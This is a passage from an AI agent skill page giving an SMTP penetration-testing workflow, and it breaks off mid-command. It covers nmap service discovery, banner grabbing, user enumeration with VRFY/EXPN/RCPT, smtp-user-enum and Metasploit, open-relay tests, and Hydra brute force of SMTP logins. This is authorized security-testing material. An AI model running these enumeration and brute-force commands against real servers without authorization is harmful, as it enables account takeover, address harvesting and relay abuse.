# Smtp Penetration Testing > This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email cre... - Skill: `ranbot-ai/smtp-penetration-testing` (Agent Skill) - Install (CLI): `npx skillmds add ranbot-ai/smtp-penetration-testing` - Raw SKILL.md: https://api.skillmd.com/api/skills/ranbot-ai/smtp-penetration-testing/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Productivity - Author: ranbot-ai (https://skillmd.com/u/ranbot-ai) - Updated: 2026-09-08 - Page: https://skillmd.com/skills/ranbot-ai/smtp-penetration-testing --- # SMTP Penetration Testing ## Purpose Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations. ## Prerequisites ### Required Tools ```bash # Nmap with SMTP scripts sudo apt-get install nmap # Netcat sudo apt-get install netcat # Hydra for brute force sudo apt-get install hydra # SMTP user enumeration tool sudo apt-get install smtp-user-enum # Metasploit Framework msfconsole ``` ### Required Knowledge - SMTP protocol fundamentals - Email architecture (MTA, MDA, MUA) - DNS and MX records - Network protocols ### Required Access - Target SMTP server IP/hostname - Written authorization for testing - Wordlists for enumeration and brute force ## Outputs and Deliverables 1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings 2. **User Enumeration Results** - Valid email addresses discovered 3. **Relay Test Results** - Open relay status and exploitation potential 4. **Remediation Recommendations** - Security hardening guidance ## Core Workflow ### Phase 1: SMTP Architecture Understanding ``` Components: MTA (transfer) → MDA (delivery) → MUA (client) Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative) Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA ``` ### Phase 2: SMTP Service Discovery Identify SMTP servers and versions: ```bash # Discover SMTP ports nmap -p 25,465,587,2525 -sV TARGET_IP # Aggressive service detection nmap -sV -sC -p 25 TARGET_IP # SMTP-specific scripts nmap --script=smtp-* -p 25 TARGET_IP # Discover MX records for domain dig MX target.com nslookup -type=mx target.com host -t mx target.com ``` ### Phase 3: Banner Grabbing Retrieve SMTP server information: ```bash # Using Telnet telnet TARGET_IP 25 # Response: 220 mail.target.com ESMTP Postfix # Using Netcat nc TARGET_IP 25 # Response: 220 mail.target.com ESMTP # Using Nmap nmap -sV -p 25 TARGET_IP # Version detection extracts banner info # Manual SMTP commands EHLO test # Response reveals supported extensions ``` Parse banner information: ``` Banner reveals: - Server software (Postfix, Sendmail, Exchange) - Version information - Hostname - Supported SMTP extensions (STARTTLS, AUTH, etc.) ``` ### Phase 4: SMTP Command Enumeration Test available SMTP commands: ```bash # Connect and test commands nc TARGET_IP 25 # Initial greeting EHLO attacker.com # Response shows capabilities: 250-mail.target.com 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-8BITMIME 250 DSN ``` Key commands to test: ```bash # VRFY - Verify user exists VRFY admin 250 2.1.5 admin@target.com # EXPN - Expand mailing list EXPN staff 250 2.1.5 user1@target.com 250 2.1.5 user2@target.com # RCPT TO - Recipient verification MAIL FROM: RCPT TO: # 250 OK = user exists # 550 = user doesn't exist ``` ### Phase 5: User Enumeration Enumerate valid email addresses: ```bash # Using smtp-user-enum with VRFY smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP # Using EXPN method smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP # Using RCPT method smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP # Specify port and domain smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_enum set RHOSTS TARGET_IP set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt set UNIXONLY true run ``` Using Nmap: ```bash # SMTP user enumeration script nmap --script smtp-enum-users -p 25 TARGET_IP # With custom user list nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP ``` ### Phase 6: Open Relay Testing Test for unauthorized email relay: ```bash # Using Nmap nmap -p 25 --script smtp-open-relay TARGET_IP # Manual testing via Telnet telnet TARGET_IP 25 HELO attacker.com MAIL FROM: RCPT TO: DATA Subject: Relay Test This is a test. . QUIT # If accepted (250 OK), server is open relay ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_relay set RHOSTS TARGET_IP run ``` Test variations: ```bash # Test different sender/recipient combinations MAIL FROM:<> MAIL FROM: MAIL FROM: RCPT TO: RCPT TO:<"test@external.com"> RCPT TO: ``` ### Phase 7: Brute Force Authentication Test for weak SMTP credentials: ```bash # Using Hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP # With specific port and SSL hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp # Multiple users hydra -L users.tx